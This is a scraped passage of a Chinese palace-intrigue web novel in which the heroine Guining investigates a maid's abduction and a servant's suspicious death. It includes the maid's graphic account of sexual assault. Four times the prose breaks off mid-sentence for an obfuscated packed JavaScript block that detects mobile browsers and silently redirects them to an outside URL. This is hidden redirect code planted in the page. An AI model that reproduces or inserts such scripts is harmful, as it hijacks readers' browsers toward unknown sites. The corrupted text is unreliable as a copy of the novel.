就拿姚家来说，他们既是归宁的亲戚，也是萧元绰的亲戚，比起归宁这个有血亲的亲人，他们更看中弘文伯府的权势，更认可萧元绰的能耐。 萧元绰和邓氏到底瞒了她什么，为何要如此待她，这必须关起门来自己慢慢查。母亲若在，她还可以找人商量，母亲带着心腹之人南下，归宁只能自己想办法。 萧元荷被歹人袭击之事有太多疑点，如果目的只是除掉乐巧这么简单，以萧元绰那爱惜羽毛的性子根本不会插手。萧元荷又没有露出马脚，一次不行，设计第二次就是了，没必要弄脏他萧元绰的手。 可若麻烦到需要萧元绰亲自出手，那背后的事情就不简单了，极大可能关乎萧家。说明乐巧被算计，绝对藏着与萧家有关的秘密，她从乐巧入手就对了。 这样于归宁是好，也是坏。 好处呢，就是她能借此撕开一个口子，窥探萧元绰隐藏的秘密。 坏处就是，若只是邓氏和萧元荷，归宁还能应对，若是萧元绰出手，归宁毫无胜算。 无论如何，姜妈妈的事，她都需要尽早下手。以免夜长梦多，再出变故。 归宁手扶额头，有些头疼道：“都先去歇了吧，南烟先去打探地方，人手我再想想办法。” ** 南烟对自己母亲的死耿耿于怀，一直觉得另有内情，是以对查太夫人之事格上心。 老太太在世时，对府中下人约束极严，不许私下议论主子。太夫人就是再上不了台面，也是大爷的亲娘，为着伯爵府的脸面，也不能让外人看了笑话，里里外外老太太都尽量维护太夫人的体面。 在旁人看来，太夫人软弱温良，撑不起大事，最大的能耐就是敲打敲打妾室。直至姑太太道出了邓家的过往，南烟才恍然大悟，太夫人绝对不是她们想象中的那般无用。 她的狠，藏在懦弱之下，让人防不胜防。母亲生前曾得罪过太夫人，她猜测就是太夫人的报复。而且自己的舅舅险些被太夫人和大姑奶奶的毒计陷害，她有理由相信，太夫人对秦家有仇恨。 如今乐巧的遭遇更印证了南烟的想法，这符合邓家人的手段。 这厢南烟心思百转，那边归宁一夜辗转难眠，思来想去也不知这下一步棋该怎么走。无意识间想起乐巧被安顿在母亲那里，脑海中竟突然冒出一个人来。 对，小周王离开京师前曾说过，若是有难处可寻定国公四公子帮忙。她担心将玉佩留在身边，不慎被旁人发觉会引来麻烦，所以把玉佩留给母亲保管。 正好借看望乐巧的机会，将玉佩取了来，去寻定国公家的四公子相助。 可转念又想，为了这点子小事去麻烦一个素未谋面的外人，是否太过冒失了？ 可她一个内宅女子，娘家又没有父亲兄长帮忙，实在寻不到其他人了。再三犹豫之下，归宁还是决定一试。 打定主意之后，才终于安下心来，沉沉的睡了过去。 翌日一早，归宁先去邓氏那里请了安，借口去母亲的住处取东西，去了倚梅园。南烟留下，帮归宁应付那些回话的管家婆子。 归宁本想先去见乐巧，可柳妈妈说，那姑娘发高烧，昨夜又哭又喊，闹了足足一晚上，正想要派人去伯府请示她，要不要请个郎中过来，她就来了。 南烟交代过，这个姑娘不同一般，切不可透露这个姑娘的身世，柳妈妈才不敢私自决定。 归宁进屋瞧了一眼，见床上的人双目紧闭，额头滚烫，耽搁下去恐怕真会出事，对柳妈妈道，“还是需要请个大夫过来，就说院子里有丫头病了。” 见乐巧这边暂时问不出什么信儿来，归宁也不敢多耽搁，让柳妈妈寻了玉佩出来，她自己又拿出贴身的钥匙， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545312|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了母亲库房，在里面千挑万选了足足小半个时辰，才最终选定六如居士的那幅《山路松声图》。 听说徐家四公子最喜吟诗作画，附庸风雅的东西。六如居士传世的画作并不多，母亲也只收了这一幅，归宁有些舍不得。 归宁对徐景芝并不了解，只是听说有人拿他对比过本朝已故才子唐寅，所以送六如居士的画再合适不过。 既然是求人办事，就该拿出诚心来。犹豫良久，归宁还是将画轴卷好，出了库房。 交代柳妈妈务必照看好乐巧，又嘱咐了几句，带着周嬷嬷上了马车。可她并没有着急回伯爵府，而是去了南烟父亲的书肆。 南烟的父亲是个秀才，肚子里有些墨水，他的书肆正好经营书籍、字画等，由他陪着南烟去送再合适不过。 归宁将画放在精致木盒内，交给庞秀才，只道：“劳烦先生陪南烟走一趟，她一会儿就来。” 庞秀才也是仗着南烟母女在府中的地位，才过得如此滋润，对归宁格外敬重，多余的话从来不问，将东西收好，恭敬的应了下来。 归宁临走前，还包了一方上好的松墨孝敬她，“墨中加了百合香、茉莉粉等名贵辅料，香气袭人，清新雅致，夫人过节写春联、画福纸正好用得上。” 归宁笑着让周嬷嬷收了。府里一应笔墨纸砚等物，都是从庞秀才铺子里拿，这点儿敬意，归宁受得起。 马车辘辘，穿过节前喧闹的街道，回到弘文伯府。 归宁刚扶着周嬷嬷的手下车，迎面瞧见邓家的二姑娘邓雪柔，从青帷小轿上下来。见到归宁，盈盈见礼，笑问道：“三九天怪冷的，一大早表嫂就出门了？” 归宁抱着红蓝宝石镶嵌的手炉，笑道：“母亲不在京师，别院的事她们不敢做主，我便过去瞧瞧。” 宋家生意上的事极其繁杂，旁人也插不上手，一般人闻此就不再多问，可偏偏邓雪柔要多说几句：“哦，那是出了什么大事儿？” 归宁微微一叹，“柳妈妈是母亲身边的老人，自小陪着母亲在伯府长大。她说前几日偶然在当铺里瞧见一个物件，极像老太太屋里的东西，那东西据说还是御赐之物。我唬得一惊，忙过去问问清楚……” 归宁故意将话说一半，留一半。她很清楚，邓雪柔没有心思再追问下半句。伯爵府丢失的东西都补贴到了哪里，邓家再清楚不过，她巴不得自己不知道这件事。 邓雪柔难为情地笑了笑，“表嫂管家事多，我就不多叨扰了。”言讫，搀着丫头的手，快步朝邓氏的福寿堂走去。 归宁唇间的笑意渐渐转冷，这话真不是说辞，而是事实。 周嬷嬷有些不解道：“夫人，吴明偷偷当掉的那些东西，我们还管不管？要不要透个口信给萧家的耆老们……” 归宁轻轻摇了摇头，道：“不要，我自有处置。眼下还是乐巧与姜妈妈的事情要紧，不要节外生枝。” 周嬷嬷知归宁向来有主意，也不再多言。 32. 过世 二人回了孤芳苑，彼时的南烟早已等不及，见她们回来，忙将归宁拉至内室，拿出一张纸，上面简单的画了方位并标注了几个地方，一看就知道是去西山林场的路。 因昨夜南烟安顿完乐巧，回来时已经太晚，内院都落了钥，南烟不方便去外院寻秦管事。今早归宁特意将南烟留下，就是让她趁机找秦管事问询情况。否则一大早就带南烟出门了，不用绕这么一遭。 南烟道：“这是舅舅凭记忆画的，他已经七八年没有去过那边，记不太清了，大概就是这样。” “舅舅说如果不着急，他找个由头悄悄过去探探路，不过估摸要等个三五天。” 归宁不知哪里来的预感，自从乐巧出现后，她觉得姜妈妈的事不能再拖下去，思忖道：“横竖我们也只是猜测姜妈妈是被送去了那边，还有可能不是，先如此吧。” “你现在就出府去寻你父亲，去一趟栖迟别院，拿着玉佩寻定国公家的四公子。也不知道能不能找到他，先碰碰运气。万不可让旁人注意到你们。” 归宁前后两世对定国公家的这位四公子都知之甚少，只知他后来离开了京师，至于去了哪里，她也从未关注过。 她也不清楚，为何定国公家的四公子不在定国公府内居住，而是自己在外边购置了一所宅院。她只期望，贵人能出手相助，让她能够借此撕开邓氏完美的伪装。 南烟丝毫不敢耽搁，换了身衣服，就出了府。 归宁左等右等，临近天黑也没见南烟回来，心里正担心是出了什么意外。 看时辰，该去给太夫人请安了。归宁刚准备出门，就听香冬进来回话，“太夫人屋里的瑞欢来传信，说太夫人吃过午饭后，一直觉得不舒服，现在刚刚吐了，请夫人的对牌，请大夫来。” 当年外祖母和舅舅还在世时，以萧家的地位，完全有资格请太医院的御医来看病。前世归宁临终前，萧元绰做到了朝廷三品大员，也请得动御医。 可今时不同往日，以现在萧家的官位，只能请太医院没有品级的医士来。前世给她看病的刘御医，如今的地位应该还只是个医士。 归宁稍加考量，命人取了对牌，给前院的管事去太医院请医士来。太医院的人口风都紧，而且能入太医院的人，在岐黄之术上大多是人中龙凤。 又因本朝最重孝道，归宁又让文轩去给萧元绰传信，让他尽快回来。随即又让厨房准备清淡软烂的羹粥，送到福寿堂。 安排好这些，归宁带着香冬和翠夏过去侍疾。 一路疾走，很快到了邓氏的院子。屋内炭火烧得很旺，归宁一进门就感觉一股热气扑面而来，邓氏躺在拔步床上，脸色红润，眉头却紧蹙。 见到归宁，有气无力地拍了拍床边，示意她坐过来，拉着她的手喃喃道：“年纪大了，不中用了。” 一旁的邓雪柔用帕子擦了擦泪道：“姑母是想姜妈妈了。之前姜妈妈在姑母跟前侍候，万事想得周全。如今陡然姜妈妈不在跟前，姑母不适应。” “旁人再好，也比不得身边用老了的人。” 归宁闻言，眼皮跟着跳了跳，她刚要寻姜妈妈，邓氏这就想要将姜妈妈接回来，难道真是老天助她？ 未及多想，归宁道：“那我去给夫君说一声，看能不能将姜妈妈接回来住几日，大家凑在一起热热闹闹过个年。” 有她这句话，邓氏就安心了，“还是你最懂母亲的心。娶了你，是我们萧家的福气。” 归宁笑道：“大姐姐的事已让母亲烦忧不已，能帮母亲分忧是儿媳的本分。”言罢，扶着邓氏半坐起来，劝道：“我让厨房煮了粥，母亲趁热吃些吧，肚子里空着也难受。” 邓氏点了点头，看向邓雪柔，欲言又止。 归宁心里了然，“天色已晚，邓表妹就留下吧，母亲您觉得呢？” 邓氏拍了拍归宁的手，道：“这内宅里你当家，你安排就是了。” 归宁笑了笑，前世表妹留着留着，就留成了萧元绰的良妾，看来邓氏早就存了这样的心思。 几人又说了会儿话，萧元绰是和刘医士一起来的。刘医士给邓氏诊了脉，说了些无大碍，不得贪吃，好生将养等话，只开了一副养脾健胃的药。 邓雪柔主动去煎药，归宁和萧元绰陪在邓氏身边说话。当晚，邓氏不让归宁和萧元绰侍疾，将他们赶了出去。 萧元绰送归宁回了孤芳苑，二人一起吃过晚饭，归宁趁机提了姜妈妈的事，萧元绰愣了愣。 归宁解释道：“是母亲的意思。以前都是姜妈妈去给大姐姐送东西，现在大姐姐出了事，母亲不放心，我……” 未待她说完，萧元绰点头应了句，“吴明的事做得的确过分，我原是怕你觉得委屈。你若同意，那我明天就派人去吧。” 归宁担心说多了露出马脚，不敢再多过问。二人平静的用完饭，萧元绰因有公务要处理，回了前院。最近的事让他有些不安，他要尽快处理干净。 见萧元绰离开，南烟忙凑过来，有些不可思议地道：“确定要把姜妈妈接回来？”若是人就在眼皮子底下，他们哪里还用得着这么麻烦。 归宁也觉得奇怪，“太夫人病了，嫌其他人伺候的不好，让邓雪柔提点我，我也只能顺坡下。你那边怎么样？” 南烟有些气馁道：“徐四公子出门了，我们等了好久才将人盼回来，这才耽搁了，要不早回来了。东西和话都带到了，早知道太夫人要把姜妈妈接回来，咱们何苦来折腾这一糟，看来是要白忙活一场了。是不是要告诉人家一声，先别找了？” 这情况让归宁也很为难。 这么晚了，她们这些内宅女子又出不得门，就是要暂缓行动，也只能明日一早再去定国公府给徐四公子去信了。 白白麻烦人家一遭，一会儿东一会儿西，二人心里都有些不宁。 心事重重的归宁让南烟陪在自己身旁躺下，两人同儿时一样，睡在一张床上，捂着被子说悄悄话。 黑暗中，看不清彼此的神色，惟闻叹息一声接一声。 归宁先叹一声，“南烟别叹气了，是我着急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548874|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。我应该问清楚乐巧，再考虑要不要去寻姜妈妈。” 南烟再叹一声，道：“不怪夫人着急，夫人和大爷还没圆房，还有退路。年底事情繁多，尚能推脱。可过了年，到了元宵节，大爷就有十天的休沐，那时候总不能再拖延了。” 这话归宁从来没有和任何人说，可南烟一语道破关键所在。按眼下情况，元宵之前母亲不可能回来。可若让归宁带着前世的仇怨与今朝的离心去与这个人亲近，归宁真的做不到。 这比杀了她，都让她难受。 她被牢牢困死在无懈可击的谎言内，明知对方有鬼，自己却只能默默承受。仅凭一个塞了麝香膏的金簪能说明什么？萧元绰有无数个理由将自己摘清，甚至可以用“女人产子太过危险，我不忍你受此苦痛”等感天动地的话来解释。 这种精神上的压抑，让归宁留在府里的每一日都无比煎熬。 今日的安排，她感觉是自己冒失了。 南烟也好不到哪里去，自从母亲去世，父亲续了弦，还生了个弟弟，若不是要仰仗她在伯夫人房里当差，父女之间的情分早就淡了。这话她不敢同旁人讲，只能自己默默承担。母亲的死一直是她心头割舍不下的痛。 两人对着长吁短叹，不知不觉间迷糊了过去。 ** 翌日一早，府里如往常一般天蒙蒙亮就开始忙碌起来，腊月二十五，是接玉皇的日子。传说腊月二十三灶王爷上天后，向天庭汇报民间情况。玉皇大帝会于腊月二十五日亲自下界，查察人间善恶，并定来年祸福。 所以有讲究的人家，这一日一定会积德行善，谨言慎行，以博取玉皇欢心，降福来年。 外祖母在时，对这一日也格外重视，归宁自是不敢怠慢。 一大早就去邓氏房里请安，见她气色不错，归宁陪着说笑了几句，还安慰道：“快则今天晚些时候，慢则明后天，姜妈妈就能接过来。” 邓氏闻言，笑对一旁人道：“快去准备两匹上好的布料，给她做两身过年的新衣服，去去晦气。” 归宁笑道：“哪儿能让母亲操心这些小事，我已经让人备下了。” 邓氏拉着归宁的手，十分受用道：“还是你细心。” 归宁服侍邓氏吃了早饭，才回到孤芳苑。她一早就放南烟出了门，预计中午她就能回来，这场错误的安排也到此结束。 这次南烟比归宁预计的回来的早，可消息却不怎么好，南烟道：“徐四公子昨天就出门了，一晚都没回来，府中传话的妈妈让我等明天再去。” 归宁只能任命的点了点头，有些心不在焉地安排府中诸事。因昨夜睡得不安稳，中午用了饭，早早地去歇中觉了。 刚睡得迷迷糊糊，就被南烟火急火燎地喊了起来，归宁看到她那惊慌的样子，蹙眉道：“都跟在我身边多久了，怎么还这么沉不住气？” 南烟服侍归宁穿衣，短短几句话却如惊天霹雳：“西山别院传来消息，姜妈妈过世了，夫人快起来，送信人还在抱厦里等着您的吩咐呢。” 33. 受辱 归宁大惊：“怎么回事儿？” 事情发生地太过猝不及防，前脚她还想着悄悄去找姜妈妈，后脚太夫人就说要把姜妈妈接回来，才不过半日，又听说姜妈妈过世了，这让归宁紧绷的神经再次不安起来，“出府的时候人不是还好好的，怎么突然就过世了？” 南烟重重叹了口气，不无惋惜道：“冬日天冷，别院可不似府里，日日有上好的银骨炭。听说了中了炭气，窗子关得严实，早上发现时人已经僵了。姜妈妈和她刚及笄的女儿，都走了。” “也是没福气的人，听别院的人说，姜妈妈刚送过去时，太夫人念着天冷，才命人把屋子修葺一番，把窗纸糊得严严实实。不成想，福没享成，人没了。” 归宁穿好衣衫，让南烟服侍自己梳头，又问道，“太夫人知道了吗？” 南烟道：“周嬷嬷已经报过信了，太夫人一听，忧伤过度，背过气去了。嬷嬷已经让人去请大夫了。” 南烟越说越气：“太夫人病病歪歪的，肯定指望不上，大过年的，还得给这老货办丧事，也是晦气。” 归宁拍了拍南烟的手，“这话对我说说就是了，小心祸从嘴出。” 南烟欲加愤愤不平，道：“我晓得。就是太夫人每次都病的是时候。老伯爷、老太太过世时，太夫人哪次不是这样？现在连自己身边下人的事，都得夫人出面。” “太夫人这张嘴也真是了得，念叨谁盼谁好，谁就倒大霉。姜妈妈如此，乐巧也如此。”说者无意，听者有心，这话倒也映衬了自己前世的结局。 能够这般深藏不漏，也是邓氏的本事。她可以既做好人，又躲清闲，而归宁作为府中主母，操办姜妈妈丧事无可推卸。 穿戴整齐之后，出来见了报信的婆子，对方所言与南烟的转述差不多。命人拿了三吊钱，让她坐车回去。 转头又对南烟道：“旁人我不放心，还得你舅舅辛苦一下，人死为大，把人好好葬了吧。丧事就在别院办，让你舅舅好生打探一下，这些时日有没有什么特别的事情发生。” “去银库支取二十两银子，我自己贴补十两，葬礼办得风光一些。” 南烟撇了撇嘴，“太夫人也只顾着伤心了，其他全都不顾上。”夫人都想着贴补些，太夫人却只口不提。 事情吩咐下去，秦管事当天下午就带着两个儿子过去了，留下秦三继续在门房当差。府里的女眷出门，少不得秦三赶车。 下午萧元绰回来的早了些，归宁将姜妈妈的事说了，萧元绰也只是淡淡地应了一句，“冬天中炭气过世的历来有之，也是她没福。她的身后事就辛苦你了。” 归宁道：“也不知道今年是怎么了。才说要将姜妈妈接过来，竟出了这等意外。母亲这几日甚是记挂大姐姐，不如明日我去赵府去看看吧。” 萧元绰微微颔首，“也好。我公务繁忙，一时走不开，你替我多宽慰大姐姐几句。” 归宁若有所思道，“乐巧和郑妈妈有信儿了吗？”她既要去赵府，这些事就要打探清楚，免得在人家面前说错话。 萧元绰面色微沉，“在他们遇到劫匪的地方，再往深山里寻了十几里，发现了郑妈妈的尸体，在不远处还找到了一件女子被撕扯坏了的衣衫……” 归宁的心无端地揪了起来，小心问道：“就是这样，赵家还不报官吗？”人都快没了，竟还要遮掩下去？ 萧元绰眸光微动，“阿宁，这是赵家的事，我们不方便过问太多的。” 归宁有些不甘心，“那是两条人命呀！就这样放过那些歹人？大姐姐受了那么大的罪，乐巧姑娘生死未卜……” 萧元绰见她有些激动，将人拉至自己身侧，轻抚她的后背，温和道：“这是赵家的事，我们不能置喙太多。目前没有寻到乐巧的尸首，她可能已经逃了，再等等吧。” 既然从萧元绰口中探不出虚实，她也该去见见乐巧了。 ** 腊月二十六，按习俗，该杀猪割年肉、赶年集。 这日阳光和煦，照着光秃秃的枝丫。风寒刺骨，却丝毫不影响年节的热闹。 胡同里的一方宅院，隔绝了街上的喧嚣，也让乐巧得到了片刻的宁静。她将自己幽闭在屋内，蜷缩在床上，拉紧窗帘，不敢让屋外的阳光照进来，照清肮脏的自己。 只有躲在别人看不到自己的暗处，她才觉得是安全的。 随着门嘎吱开启，乐巧裹着被子躲进床里侧，嘴里念叨着，“东西放在桌子上，出去吧。” 柳妈妈在归宁耳边低低叹了句，“不知道受了什么惊吓，醒来就这样。” 归宁让柳妈妈先出去，悄悄走在床边，要将床幔挑起来看看她。谁知乐巧像受了什么刺激似的，疯一般去抓归宁，抢夺她手中的床幔，然后胡乱地塞在被褥底下，将自己封闭在一方狭小空间内。 归宁被她抓红了手背，疼痛地皱了皱眉。南烟见状，摆出一副孔武有力的架势，上前一把将床幔抓了起来。 乐巧来不及反应，只得将头蒙在被子里，瑟瑟发抖道：“你们饶了我吧。” 归宁温声细语道：“我们不会伤害你，否则就不会把你安顿在这里了。你放心，赵家和萧家的人，都不知道你的情况。” 乐巧是被南烟救起，自然知道来人是谁，声音发颤，道：“你是萧家的媳妇，凭什么要帮我？” 归宁略含苦涩道：“因为萧家未必真把我当媳妇。” 见乐巧沉默不语，归宁又道：“你应该告诉我到底发生了什么？我才能帮你，我不能把你藏在这里一辈子。我保证，你今日对我说的任何一句话，我不会告诉其他人。” 乐巧将自己藏在被子下，眼角落下一串串屈辱的泪水，用被头狠狠地擦了一把，哽咽道：“萧元荷派人杀我，你救我就是和萧家作对，你还敢听吗？” 竟然被归宁猜对了，她按捺下心中的躁动，平声道：“我既然做了，自然敢听一听真相。” 乐巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558207|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷声道：“那劫匪说我看到了主子的秘密，他们也是拿人钱财替人消灾，来杀我灭口。” 对于她的一面之词，归宁自然要设防，冷静地分析她话语中的破绽：“道上向来有道上的规矩，绝不可能轻易透露雇主的信息，你是怎么知道的？” 归宁不问则已，一问便触动了乐巧最敏感的那支神经，只见锦被下压抑不住的人，紧紧地拉着被头，嘤嘤地抽泣起来。 先是压抑的抽泣，然后是嚎啕大哭，最后似发了疯一般，踢着被褥，许久之后才渐渐安静下来，沙哑道：“女子一生最珍爱的东西，换一句真言，不过分吧？” 她是在问归宁，也是在安慰自己。 她觉得自己脏，自己下贱，可她只想活下去，她做错了什么？可一旦事情传出去，世人不会计较谁在算计她，只会骂她是被人穿烂的破鞋。 那群带着鬼面的人将她掳走，见她长得标致，起了贼心，一人道：“大哥，横竖都是要送去阎王爷那边报道的，不如先让兄弟们享受享受？大过年的，也让我们吃口荤腥吧。” 她被五花大绑，蒙住眼睛，堵住嘴巴，只能无声的落泪，无助的摇头，恳请他们放过自己。 而等待她的，将是另一场噩梦。 她被黑布蒙住双眼，根本看不到这群人眼中藏着的贪婪与□□。 那群人如饿虎扑食一般围上来，禽兽一般大笑着撕扯她身上的衣衫，她越挣扎，越能激起这群人心底的兽性。 后来发生的一切她不想再去回忆，身上撕裂一般的疼痛提示她，她还活着。 而迷迷糊糊间听到的那一句，却给她判了死刑：“玩完了，记得埋远一点儿，别让人发现了。” 她后来昏死过去，再度醒来之时，感觉自己被一人扛在肩头，深一脚浅一脚地走在去往深山的路上。 一路上只闻这人在不停地骂骂咧咧，淬了一口，道：“好事儿轮不上老子，这等挨千刀的破事儿就让老子干，这群龟孙，太欺负人了。” 醒来的乐巧拼命的挣扎，又踢又踹。 这人烦不胜烦，重重地将乐巧摔在山间的枯草上，威胁道：“再闹，老子现在就送你去西天……” 垂首，见夕阳下的女子哭得梨花带雨，楚楚可怜，身上衣不蔽体，处处透着诱惑，竟然起了另一份心思，“哭什么哭，讨好了老子，老子放你一条生路。” 乐巧随手抓起了一把土，扬了出去，迷了那人掩盖在丑陋面具下的眼，随后爬起来，跌跌撞撞往前跑，可没跑几步，后背被人狠狠地踢了一脚，一头栽了下去。 那人扑上来，死死地掐住乐巧的脖颈，在她即将要断气时，终于在她口中听到了一句求饶：“别……别杀我……我愿意……” 铁钳般的大手终于拿开，乐巧大口大口的喘气，刚刚在鬼门关前走了一遭，她想通了，她必须活下去。 残破的身躯里，装着不甘的灵魂；而她唯一可以用于交换的，就是丢掉廉耻…… 34. 平安结 那是乐巧人生中最黑暗的时刻，堪比遭受千刀万剐之刑。 她乖乖的奉献了自己唯一可以用来交换的东西，刻意的迎合讨好。在对方意乱情迷之际，无意间说出了背后的真相，“你得罪了邓家的人，邓家要灭口……” 邓家？她不认识什么邓家人呀？ 乐巧忍着恶心，故意逢迎，柔软的躯体也格外配合，娇柔的声音处处透着魅惑，“奴家……奴家不认识什么邓家人呀？” “诶呀，好哥哥你轻一些，奴家……奴家受不住呀……” “好哥哥你告诉奴家，奴家一定好好伺候你。”言罢，又梨花带雨地娇嗔了两声，哄得身上男人顿时失了理智，也不顾那三七二十一，脱口而出道：“就是和弘文伯府有姻亲的邓家。” 乐巧脑子“嗡”的一声响，弘文伯府和她有仇之人，除了萧元荷还能是谁？ 她咽下心底翻涌的恨意，瞅准时机，随手抓起一块石头，朝着身上人的脑门就砸了过去。 对方闷哼一声，倒在了地上，乐巧犹不解气，拿着石头在那人头上又砸了七八下，直见有暗红色的血液涌出来，才扔了手里的石头。害怕的望了望四周，看见没人，也不顾不得瞧人死没死，拢好身上的破烂的衣衫，跌跌撞撞地跑下山去。 渴了喝山泉水，饿了挖草根，见人就乞讨。只要有口吃的，占点儿便宜算什么？ 最后遇到一个好心的农夫，赶着牛车送了她一程，才让她终于又回了京师。可偌大的京城，她能去哪里呢？ 在街上游荡乞食间，遇到了南烟。也是巧了，那日姚三爷带着二姑娘在街上闲逛，专拣热闹的地方凑，南烟一路陪着，一眼瞧出了狼狈的乐巧。 乐巧很清楚，如果自己将逃出来的经过隐瞒不说，眼前人不会轻易信她，只有真正了解她的遭遇，才会放下心防，去可怜她，去真心地帮助她。 乐巧发泄过后，顶着无尽的屈辱，将自己藏在被子底下，等待归宁的宣判。 归宁听完，胸口一阵阻塞，话语间也多了几分悲悯，保证道：“你放心，我今日听过的话，绝不会对外人讲。” 南烟也在一旁宽慰道：“老伯爷在世时，曾有一个外室，老太太刚想接到府里来安置，就被一把火烧死了，一尸两命。邓家就爱做这种下三滥的事。” 南烟揭邓家老底，无疑是告诉乐巧，她们不会向着邓家。 吐完心中块垒，乐巧终于安静了下来。 她不知道前路在何处，已是残破之躯，如何还有脸面活在这世间？可她又不甘心，想重返赵家，又没有勇气。 南烟为了安慰她，主动说起萧元荷的事，“害人终害己。大姑奶奶设下毒计要害姑娘性命，自己也遭了殃。她从马车里摔下来，不仅孩子没了，恐怕以后再也不能生育了。” 萧元绰曾托归宁帮忙寻找民间大夫和偏方，南烟偷听了几句。 归宁横了南烟一眼，示意她少说几句。 乐巧闻言，却咯咯的笑了起来，“真是老天开眼，报应不爽，她活该！” 归宁趁势继续问道：“你到底发现了什么？值得她不惜赔上自己也要报复你？” 归宁始终想不明白，萧元荷为什么那么着急对乐巧动手？甚至连年都不想过了？ 乐巧终于把盖在头顶的被子掀了下来，露出哭得红肿的双眼，哑声道：“我猜应该是和一个老和尚有关系。” 归宁心中“咯噔”一下，“什么老和尚？” 乐巧擦了擦眼角淌下来的泪道：“我曾经跟踪过萧元荷，她经常去明渊寺上香。就在出事的前几天，她还去过，只不过她那天回来后脸色很差。我很好奇，猜测她肯定是做了什么见不得光的事。就让丫头趴在窗户底下偷听，听到了萧元荷正和自己的奶妈说老和尚、药方等话。” “具体的没听太清楚，那丫头刚听了个头，就被趴在房檐上的狸奴吓了一跳，惊叫了一声，被里边人听到了动静。她再不敢多留，慌慌张张地跑回来给我说了情况。”那狸奴正是萧元荷从小养到大的橘猫。 “之前她虽看不惯我，我也没主动往她跟前凑过，都是躲着她。也就是得知她利用吴明算计我之后，我一直暗中注意她的行踪。其他事情都很稀松平常，唯有那件事最特殊。” “老和尚”、“明渊寺”、“药方”，这些关键字眼，旁人听不出问题来，归宁却提起了十二分的警惕。 原来范氏那番话，真不是故事。萧元荷和邓氏都喜欢去明渊寺上香，老和尚的事情刚刚传出来，萧元荷就迫不及待地要对乐巧痛下杀手，这其中应该不是巧合。 归宁将从杨老夫人那里听来的事，详细地说给二人，这话无形间提醒了乐巧。乐巧曾陪着赵太太和萧元荷一起去过明渊寺，非常笃定道：“萧元荷去过明渊寺后山，我很确定，她一定是害过人，所以才做贼心虚。” 归宁思忖道：“害过人，乐巧姑娘认为她害过谁？” 乐巧十分笃定道：“她一定是想害赵太太，害死了婆母，好拿捏二爷。” 归宁却不这么认为，乐巧在赵家讨生活，自然只能从赵家的事情着眼考虑，但归宁认为症结应该是在萧家，所以萧元绰才会着急，姜妈妈才会莫名其妙死亡。 不过归宁尚未开口，南烟先道：“要是真想害赵太太，劫匪劫车的时候，怎么就轻易放过赵太太了呢？追着你不放，岂不是舍本逐末？” 乐巧却道：“我身份卑微，不值得赵家倾尽全力，甚至都不值得报官。若是赵太太出了事，定然会闹得满城风雨。查出个好歹来，岂不麻烦？先解决我，后面有的是时间悄悄动手，人不知鬼不觉的害太太。” “我能活着回来，实属侥幸。若不是我保住了性命，还套出了幕后主使，谁能相信，那场意外是邓家有意为之？萧元荷无意之间做出的苦肉计，足以瞒过所有人。” 归宁沉吟不语，乐巧的猜测过于牵强。另外还有一事在她心里徘徊不定，记得当年祖母病重时，萧元荷硬拉着她去明渊寺上香乞求，难道也只是巧合？ 不过这些怀疑，归宁通通埋在心里，母亲还没回来，她不敢太过冒进。或许母亲能在应天发现一些新线索。 归宁定了定心神，怜惜道：“你有什么打算吗？” 乐巧将脸上的泪痕擦干，坐起身来，直勾勾地看着归宁，“夫人，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569532|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经将我知道的所有事情都说了，请问夫人作为萧家的媳妇，为什么要帮我？” 乐巧和归宁都是输不起的人，她们不过是内宅中的女子，行差踏错一步，就会满盘皆输。所以要确认眼前人，是值得信赖之人。 归宁面露感伤，“不瞒姑娘，夫君回京第一日送了我一件礼物，无意间我发现，里面藏了大量麝香。” “萧家从未把我当真正的儿媳，太夫人因着老太太的压力才答应娶我过门。姑娘尚能决定去留，而我已被困笼中……” 乐巧眼光极其复杂地看着归宁，那日庆宴上，她明明觉得弘文伯很宠他的夫人，那样乱糟糟的情况，公正地处理干净，把内宅的女人护得极好。便是亲耳听到，她作为外人也觉得其中定有什么误会。 